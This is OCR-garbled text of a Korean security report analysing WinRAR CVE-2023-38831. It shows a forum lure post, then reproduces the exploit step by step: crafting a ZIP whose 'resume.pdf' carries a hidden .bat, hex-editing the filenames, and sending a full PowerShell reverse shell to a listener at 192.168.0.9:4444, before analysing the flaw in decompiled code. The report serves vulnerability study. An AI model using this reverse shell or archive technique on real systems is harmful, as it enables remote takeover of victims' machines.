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BtcTrading123 (OP) o my best Personal Strategy to trade with bitcoin ohd Ok oI 2|5
- = =

Brand new Today at 09:43:50 AM P A

)

O] Online Hello everyone, nice to join you on this forum, believe it or not, | would lij€ to show you how this year many
people could make a high income thanks te bitcoin, trying to better efglain my theory | want to attach my

Activity: 0 concept of the market trend herelhttps://files.catbox.moe/a 6in183.rﬂ|{these are the methods that I use it to

Merit: 0 study the market) and | have to tell you that based on past years, | think it should be very profitable to invest in
bitcoin this year but I'm still waiting for your opinions, in any case if anyone has any tips for me let me know, I'm
new on this forum but | have been dealing with trading for many years, thank you for your attention.
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N RARLAB &
WinRAR®
WIinRAR 6.23

Compress, Encrypt, Package
and Backup with only one utility

With over 500 million users worldwide, WinRAR]is the world’s most popular compression tooll

There is no better way to compress files for efficient and secure file transfer. Providing fast email transmission
and well-organized data storage options, WInRAR also offers solutions for users working in all industries and
sectors.

WInRAR is a powerful archiver extractor tool, and can open all popular file formats.

RAR and WinRAR are Windows 11™ and Windows 10™ compatible; available in over 50 languages and in both
32-bit and 64-bit; compatible with several operating systems (OS), and it is the only compression software that
can work with Unicode.
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1) T8z}t PC o] CVE-2023-38831 #HekHo] A 5= WinRAR 6.22 HAL tfez T 3sit}

https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-622.exe

< o & win-rar.com WinRAR download free and support: Post-Download th @ %t O B LOS DA

X
oY CcheRE using this website, you consent to the use of
3 to have cookies stored within your web-

AGREE

We want you to have the best possible experience whil
cookies. For more detailed information regarding the us _ )
browser, please adjust your browser seftings according 318 It & MFBAZASUIN?

winrar-x64-622.exe  34ME
C:wUserswK1210449%Downloads

Search |enter your search term here

Ci2%E S0EX 27|

Language| gngisn v
as ceossers v [JEEH
Thank you for downloading WinRAR. If your download doesn't start within 5 seconds: click here
- ® >
Now get FREE WIinRAR "~ support for 40 days!
E-Mail*
Send
Note regarding Privacy Policy:
You will receive a confi ion email to the il-adds entered above. It is necessary to enter a valid email-address! Solely your email address is mandatory for the subscription. All additional details

("This is the first time | download WinRAR") are only used to personalize the newsletter and to provide the newsletter in your preferred language.

By filling out this form, you are signing up to receive special offers for WinRAR and other partner-products from us. By submitting this form you agree that win.rar GmbH electronically processes and
stores your data to provide you with the requested information. The information you provide will only be used for our internal purposes. It will not be sold to any other organization. Please also read our
& ficy

n: i
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2) T*2IE% WinRAR 6.22 B3-S A5},

B users (evaluation copy — O b
File Ceommands Tools Favorites Options  Help
. _ — o | — fr —
B amie \ @B
Add  Extract To  Test Wiew Delete Find Wizard Info Repair
pa
1 About WinRAR X w
IE:
I oK I
I
| | License |
‘l‘
) | Acknowledgments |
2| [ winrar 6.22 62 : [ omepage |
| | Copyright @ 1993-2023 by L |
U1 Alexander Roshal ]
Published by win.rar GmbH
40 days trial copy
O] Total 5 folders and 174 bytes in 1 file
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njole ZEvlgheh
- v A > LHPC » M £& (D) » ZIP_TEST v O O ZIP_TEST &M

= B SRS L 2% 37|

resume.pdf —» A 2 A TtY

S 2023-09-0 Hpdf Document 24KB
[&] scriptbat ——p A32E WA 2023-09-0 Windows B X| I 1KB
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3z} PC ol APAIZA A ATHEE /¥ A A(Reverse Shell)? ATHEES Aot

H—=
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https://github.com/swisskyrepo/PayloadsAllITheThings/blob/master/Methodology%20and%20Resources/Reverse%20
Shell%20Cheatsheet.md#powershell

ZF 23YEE Ao PC oA FAHAFS] AH{(192.168.0.9:444H)2 AL AFsH
AR R BE Aghate WEol2 n|sjAle] PC oA Aslst AutE AR oA ALt

1—

powershell -nop -c "$client = New-Object System.MNet.Sockets.TCPClient('192.168.8.9",4444);%stream =
$client.GetStream(); [byte[]]$bytes = B..65535|%{0};while(($i = $stream.Read($bytes, 8,
$bytes.Length)) -ne B8){;%data = (New-Object -TypelName System.Text.ASCIIEncoding).GetString($bytes,B,
$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2? = $sendback + 'PS ' + (pwd).Path + "> °;

$sendbyte = ([text.encoding]::ASCII).GetBytes(%sendback?);%stream.lWrite($sendbyte,d,$sendbyte.Length);
$stream.Flush()};%client.Close()"
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| ] resumepdfA —» T4 2A ot 4KB
« v A > LHPC > M & (D) > ZIP_TEST » resume.pdfB v 0 D resume.pdfg &
~
0|2 FZT ER 73 37
% [@] resume.pdfB.bat —» AJTE MY 2023-09-05 2= 4:27  Windows HiX|] ot 1KB

-9, Fokd SIS 9 Wz ZIP it 74

3) TA4% mE wel @ teEE ZIP B2 gET

resume.pdfB 2023-09-05 2% 8:30 oY EGH

| | res“mepﬁfA - A0 A0 AR OIS 019 a1 Nny} ‘.'I‘“?E' 24KB
ZIP TEST.Zip2 & 2=3171(Q)
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Ed Microsoft Defender(2)2 ZAL..
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Add to archive_..
B3 Add to "resumerar
BE compress and email...
B9 compress to "resume.rar” and email
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IS5} o] g 4 o] o S H malel o
4) 4% ZIP mrde dA o HE(HxD) & , A 715 ol8s] 24 " HEE e
= = =
°]5<] ‘resume.pdf & AMFIT]
0 HxD - [D:¥ZIP_TEST#resume.zip] - a X
B e BEO O 27V £40@) =70 TEEW S2%M - & X
vl | B @~ 16 || Windows (ANSI) M| 1675 N
&) resumezip S Y x|
Offset (h) OF Decoded text A HOE BET
00005420 00 00 00 15 00 _00 00 1B 00 00 00 72 65 73 75 6D ..eeesnesss resum
00005430 ﬂ/:esume.pd 440
00005440 .batcalc.exe.. & 01110010 ~
ggggi:zg resume.docxPK... Int8 OlE: 114
o=
00005470 Uint8 o';: 114
Goaosann Int16 IE: 25970
00005490 Uint16 OIE: 25970
00005440 Int24 Ol E: 7562610
00005480 Uint24 OI&: 7562610 ¥
20005400 H401= £ (Bte Orden
000054F0 D16‘x_| HAOZ B3 (HY)
% H3A 24 (57HY ZM 2T
L2uM ZEHLT) (16T ) HELET| (B2E)
5428 96 D5 01 42 15 00 00 00 15 00 00 00 1B 00 00 00 72 65 73 75 6D 65 2E 70 64 66 42 2F 72 .| -OB..........resume.pdf8/resu
5437 18 00 00 00 72 65 73 75 6D 65 2E 70 64 66 42 2F 72 65 73 75 6D 65 2E 70 64 66 42 2E 62 6.{ ...resume.pdf8/resume.pdfB.batc
5489 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 72 65 73 75 6D 65 2E 70 64 66 41 50 4B ... .+ ...resume.pdfaPK ..
54C2 00 00 00 00 00 00 01 00 20 00 00 00 OD 54 00 00 72 65 73 75 6D 65 2E 70 64 66 42 2F 72 ... ....T.resume.pdf8/resu
S54CE 0D 54 00 00 72 65 73 75 6D 65 2E 70 64 66 42 2F 72 65 73 75 6D 65 2E 70 64 66 42 2E 62 ..| .T.resume.pdiB/resume.pdfB.batP
x
2 = (h): 54CE E£(h): 54CE-54D7 Z0|(h): A SojM7)|

a9 11. A JUHE &

4 g~ ot (HxD): Windows $740lA] A&8F 5
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I ko)l o = o = 51F] = =3 = 37 1
5 AAE EA4 4 " fEEY o] Fof F71E Hul 2AE 25 3 £ (Space, 0x20)&
3 & slol © njole <
AT & AAste] obd ZIP Y& Stk
B HxD - [D:WZIP_TEST#resume.zip] - ] X
B e BIE O BNV 240 EF0 TEIW 2% -8 x
1 HI BT @~ 16 || Windows (ANS)) M| 167 K
&) resumezip =+ 837 x|
Offset (h) 03 04 05 06 07 0B OC OD OE OF Decoded text A | CIOjE BE7|
00005420 15 00 _00 00 1B 72:65 T3.78.46D s resum 1440 »l
00005430 64 e6[20]2F 72 6D €5 2E 70 64 e.pdf[}resume.pd
00005440 62 61 74 63 61 €5 78 €5 OD OA ﬂ?ga:calc.exe.. |EX 2 A
00005450 75 6D 65 2E 64 S0 4B 01 02 14 resume.docxPK... Int8 OIE: R=3X 22
00005460 00 00 08 00 8F FS 27 AS SF E4 ........iVW@'¥ & s 0s: S5 B
00005470 FD 5C 00 00 0B 00 00 00 00 00 S..¥\ececeeccnss —'3-5_ plemnu 1L
00005480 00_00 00 00 00 73 75 6D 65 2E . ....... resume int16 JS: =N BS
00005490 [20]s0 <5 o1 02 00 00 00 00 00 pdffPK.......... Uint16 OE: REHX Y&
00005420 57 96 D5 01 42 0 )0 dfsW-0.B........ Int24 O|E: R=TH 22
000054B0 00 00 00 00 00 54 tiieencnen ...T Uint24 Ol%: RSJIX R v
000054C0 €5 73 75 6D €5 s resume.pdf] fre HHOLE 2k
000054D0 €5 2E 70 64 &6l 05 sume.pdf | batPX *;";12’“0“’“) —
000054E0 00 00 02 00 02 00 urcsaaiarsis g (B @328 a0 Ou ane
a0t o | Ot6ns aucz ug (84
§ A3y EM(57H FM EI
oz | (16715 HEBLT| (HAE)
5428 96 D5 01 42 15 00 00 00 15 00 00 00 18 00 00 00 72 65 73 75 6D 65 2E 70 64 66 20 2F 72 .| -OB..... resume.pdf /resu
5437 18 00 00 00 72 65 73 75 6D 65 2E 70 64 66 20 2F 72 65 73 75 6D 65 2E 70 64 66 20 2€ 62 6./ ...resume.pdf /resume.pdf batc
5489 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 72 65 73 75 6D 65 2E 70 64 66 20 5048 .| ....... ... resume.pdf PK.
54C2 00 00 00 00 00 00 01 00 20 00 00 00 OD 54 00 00 72 65 73 75 6D 65 2E 70 64 66 20 2F 72 ...| ........... T.resume.pdf /resu
54CE 0D 54000072 65 73 75 6D 65 2 70 64 66 20 2F 72 65 73 75 6D 65 2E 70 64 66 20 2£ 62 .| T.resume pdf /resume.pdf batP
x
QEA(h): 54F3 ‘wzEE. goj47|
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Step 4. ¢} ZIP Y& B3 WinRAR F ok A

A7l thedre oy zIp mple ek Ao WinRAR = do] ¢
549 (rescume. pdf)} & AW, FAlS] FAAT} Aol FL s A AAYET} F
gt AASE We-S Ford A B4 s,

—

o%‘
A
rid
S o

S
&
2

By CwwindowsWsystem32Wand X + |iv

D:\ 0| 3 A{>powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.0.9', 4444);$stream = $client.GetStre
am() ; [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, ©, $bytes.Length)) -ne 0){;$data = (New-Object -Typ
eName System.Text.ASCIIEncoding).GetString($bytes,®, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendba
ck + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::UTF8).GetBytes($sendback2);$stream.Write($sendbyte,®,$sendb
yte.Length);$stream.Flush()};$client.Close()"

& B2

T
| A ,
Extract To  Test View Delete Find Wizar i VirusScan Comment

£33 resume.zip - ZIP archive, unpacked size 24,321 bytes

Name ’ Size Packed T

?

U
oo

resuhe.pdf 516

) resume.pdf 23,805

BB
e we ne

. W
)

D
o

2023-09-05 2. SFAS27F8

n
;

== <9 Selected 1 file, 23,805 bytes Total 1 folder, 1 file, 24,321 bytes

1% 14. WinRAR ZFoFd o= Q% oty ATHE AP
Step 5. o3&z PC et
FAAE eus 4 A3YE AW wjsizt PC o) B Aol Bk GHs) PCE Hekaitt,
PS D:\Tools\netcat-win32-1.12> .\nc.exe qyqy
listening on [any] dduy
connect to [192.168.0.9] from host.docker.internal [192.168.0.2] 63746

PS D:\ 0| & A > ipconfig

Windows IP +

o ofEH ol U:

fe80: :6a8e:2863:ed0:Ucff%2
192.168.6.2
S T P T 0 5 o P a0 o PO ) e
71 HIOIE%J-JIOI . « « . . . :192.168.08.1

a9 15. 53z pC A 8=
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Step 1) Hi7 =]4]

CVE-2023-38831 ZHoFdE olallstr] ¢JalAl: WinRAR 9] ¢F= wtel 27 Al
ot A8 <=2l ShellExecuteExW° o] E4-S o]af|gfjoF gt

%

52 AT

1) WinRAR 52 4]

ot ZIP S WinRAR 2 go] 1 ¢t 54 mhd& A3 Adfstd s mtdo] gish Al
U oA Ay A FF Al Al %Temp%” =0 “Rar$DI” FHiO] tHEHIAE
%

HATIT,
char _ fastcall tmp_unzip2_sub_7FF79DBAF5@8(__int64 al, _ inte4 a2, _ int64 a3, _ inte4 a4)
{

char result; // al
__inte4 v8; // rcx
char v9; // bl
wchar_t *v18; // rdi
__int64 vi11; // ris
unsigned int i; // ril4d
int v13; // ebx

char v14[4112]; // [rsp

__int64 v16; // [rsp+2e
__int64a v17; // [rs
__int64 v18; // [rsp+2e
char v19[4896]; // [rsp

char v208[4@96]; // [rspt3@
LOBYTE (a4l =1;
result = EF F34(L"Rar$DI", v10 Y

% 16. WinRAR =% SiAIE A% dAl A e B4

5 ShellExecuteExW: Windows o|A] th2 mz=1e Agsty dAny e 2asts g o3 29

@719k e Aol AHgHLt

|H
u
[
o
st
o%
=)
5=
i
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C:\Users\IHHH\ AppData\Local\Temp\Rar$DIa2uu8e.26674>dir
Cc EC2O|E2 =&: windows
25 23 ¥z 2870-160FD

C:\Users\|IIII\AppData\Local\Temp'Rar$DIa2uuse.26674  C| = E 2|

2023-09-05 2 F 12:56 <DIR>
2023-09-85 2 F 12:56 <DIR> i
2023-08-22 2% 0U:16 1,446,729 2.png

1/ o g 1,446,729 HIO|E

917, 94 EGl 49 o 4= siA

O % 4= A" ool WinAPI 9] mtd A3 g9l ShellExecuteExW & ©]-&3] A3

<

.

.cbSize = 112;
.1pFile = a2;
.lpVerb = a7;
if (! )
= 1344;
.fMask = H
= (_WORD *)sub_7FF79D855928(a2);
if (! I & == 46 && ! [1] )
{
.fMask |= 1u;
.1pClass = L".";
}
.lpDirectory = a3;
.lpParameters = a4;
if ( (const WCHAR *)sub_7FF79D856754(a2) == a2 && !(unsigned __ int8)sub_7FF79D854B74(a2, L"exe") )
sprintf_s( , Bx1000uicsd, L".\\Xs", > *(_QWORD *)& .cbSize);
.1pFile = (LPCWSTR) -
}
.nShow = 1;
byte 7FF79D94A8085 = 1;
= ShellExecuteExvi(&; )l

1% 18. ShellExecuteExW T4+2 £ 4= sfiAd o A3
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2) ShellExecuteExW 2] &3

ShellExecuteExW + o2 APSH uf AMEEE WinAPI 3
A glo] ﬁ}%‘—% Asst o), A8 ARE ARG oA 2

A1 7}slo] A,

+oo|tt, ShellExecute £79] gHe=
Z]
A]

| 2ls) sheke] spA) wAg=

olell SFshe YA B2 vhat 2o,

.PIF .COM .EXE .BAT .CMD

ofefe] oAz FgATE e calclexe o AT G calel & AYRE W F AL wE
U A A AL

v CWWwindowsWSystem32Wem X +

Microsoft Windows [Version 10.6.196045.3324]
(c) Microsoft Corporation. All rights reserved.

D:\TEST>di
E@BC-DD88
D:\TEST C|3EE
2023-09-07
2023-09-07 -
2019-12-07 2 F 26,112 calcl.exe
26,112 EfUTE
994,300,960,768 H} 0| E

D:\TEST>calcl

D:\TEST>calcl.exe

D:\TEST>|

19 20. ‘calcl’, ‘calcl.exe’ A3 A}

EQST insight | 16



SteI) 2) X B A4

o™

FoF #MO WinRAR & %8 A WEo] ¥& gt A%yl A48 ZIP W (resume.zip)
A9 A, Tt 2ol BgR Flo] U BAt Soj7t “resumepdf T 0|89 mAw teE
2 % 9o,
| resume.zip (evaluation copy) - O X
File Commands Tools Favorites Options Help
D EmMie <0 0 8 =
% B 'ﬂr_m = N & 1 T
Add  Extract To  Test View  Delete Find  Wizard Info VirusScan Comment  SFX
A £ resume zip - ZIP archive, unpacked size 24,321 bytes W
Name - Size Packed Type Modified CRC32
5 otz 24
resume.pdf 516 321 otg E4H
[B[resume.pdf |} 23,805 21,476 oY 2023-09-05 .. SFAS27F8
\‘TH‘% =YX 3 CiME 2o 3% X7 Z2E AS
== 59 Selected 1 file, 23,805 bytes Total 1 folder, 1 file, 24,321 bytes

J9 21 A A% o] 288 4F wd

HEE BA o A Al “resumepdf 7 ooz H mde] tigt A 4= siA 2Z o]
At At AW “resumepdf 7ol EA oFHE st A A e
o|Fo| FYsHA AAxE]o] o] A AFEFo] APST

»

olof wet FHe WUy dHHIL 4F SfAEO] “resumepdf 7 FALE “resume.pdf
dde g Woll 209l “resume.pdf .bat” ATHE wA7tz] A gg o zFo] Hel o=
A A F “resumepdf T BAQ AL mdd HE 2H oA wix]at Bxjof gt Ful Bz}

HS5S 5ol sHS AAT T “resume.pdf’ 02 #AFHTE

[e)
for ((i=al; ; ++i )
(,: *3
E (*i== "\ [ vs ="/ ]| tv5)
for (j=v2-1;3>8; --j)
{
if (a1[3] != " ')
{
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B winRAR 6.22 First Use Motification | Thank you for using WinRAR!
RARLAB'
WinRAR"

Before you continue, please buy a WinRAR perpetual license to support the further
development and customer support we have provided to our users for the past 20 years.

WiIinRAR is not a free software.

G

Thank you for using WinRAR!

For new users we have a
onhe time offer
to save 30% on WinRARI

What you get for registering WinRAR:

\'/ Perpetual license

\/ Ready for Windows 11
You pay: $ 22 . 33

\/ Full RAR and ZIP Support
\/ Safe AE5-256-bit

encryption )

Act now, this is a one time offer!

LA RAR

If you want to support the continuous development of WinRAR, please purchase your license at www win-rarcom .

SECURITY WARNING!
You may be at risk. Click here to update your version of WinRAR!
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